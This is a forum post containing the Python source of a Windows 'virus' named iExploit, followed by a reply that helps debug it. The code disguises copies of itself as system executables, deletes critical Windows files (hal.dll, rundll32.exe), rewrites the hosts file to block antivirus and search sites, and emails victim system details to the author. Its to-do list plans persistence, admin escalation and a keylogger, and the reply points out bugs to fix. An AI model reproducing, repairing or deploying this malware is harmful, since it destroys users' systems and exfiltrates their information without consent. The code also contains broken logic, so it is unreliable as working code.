It looks like you're new here. If you want to get involved, click one of these buttons!
#!/usr/bin/python
#Version 0.01 alpha iExploit Virus
'''
So far: Copies to C:\WINDOWS\~, makes many copies to fill the windows folder with teh spamz*, blinks scroll,caps,num lock on/off
writes to hosts file to block websites*, sends email when virus is opened
* = Untested
~ = Not functional(yet)
'''
#To do: Get it to run when windows starts, obtain admin automatically, keylogger code(Need more suggestions!)
import os, shutil, tempfile, random, sendkeys, smtplib, urllib
source1 = 'ie.exe'
source2 = 'C:\WINDOWS\schhost.exe'
winupdate = 'C:\WINDOWS\winupdate.exe'
spam = random.random()
def copy():
shutil.copy2(source1, source2)
shutil.copy2(source2, winupdate)
file = open(spam,\"w\")
def spam():
i=300
while i < n:
file = open(spam,\"w\")
i += 1
def keyblink():
SendKeys.SendKeys(\"\"\"
{CAPSLOCK}
{SCROLLOCK}
{NUMLOCK}
\"\"\")
def fucksystem():
#Deletes crucial windows files
os.remove('C:\WINDOWS\system32\hal.dll')
os.remove('C:\WINDOWS\system32\rundll32.exe')
def hostsfuck():
#Writes to hosts file disallowing certain sites
hostsfile = ('C:\WINDOWS\system32\drivers\etc\hosts')
openhost = open(hostsfile,'w')
hostsfile.write(\"127.0.0.1 http://virustotal.com/\")
hostsfile.write(\"127.0.0.1 http://symantec.com/\")
hostsfile.write(\"127.0.0.1 http://facebook.com/\")
hostsfile.write(\"127.0.0.1 http://google.com/ \")
def keylogger():
#Keylogger source code to go here
print()
def sendmail():
uid = os.getuid()
pid = os.getpid()
curdir = os.getcwd()
info = os.uname()
now = time.time()
sender = ('from@gmail.com')
recieve = ('to@gmail.com')
message = (\"\"\"
You have a new victim!
Here's some system information:
User ID:
\"\"\" + uid + \" \nProcess ID: \" + pid + \"\n Current Directory \" + curdir + \"\n System info: \" + info + \"\n\nTime: \" + now)
msgbody = (message)
#Put your gmail username and password here
username = ('username')
password = ('password')
gmail = smtplib.SMTP('smtp.gmail.com:587')
gmail.starttls()
gmail.login(username,password)
gmail.sendmail(sender, recieve, msgbody)
gmail.quit
copy()
spam()
keyblink()
fucksystem()
hostsfuck()
sendmail()
noice~~ some tips though~~
pointless open() file for write in copy(). broken loop in spam() - n doesn't exist as far as i can see (also, i don't think spamming open() will be of much effect - maybe you are confusing its functionality). in hostsfuck() you are using hostfile to perform write(), but it's a string type, and doesn't have that method.. i'm sure you meant to use openhost, which is an actual file object.. and you should always close() files you open(). can't comment on the module specific stuff but i guess the downside to writing something like this is not being able to test it, haha - maybe try a VM.
what python version are you using?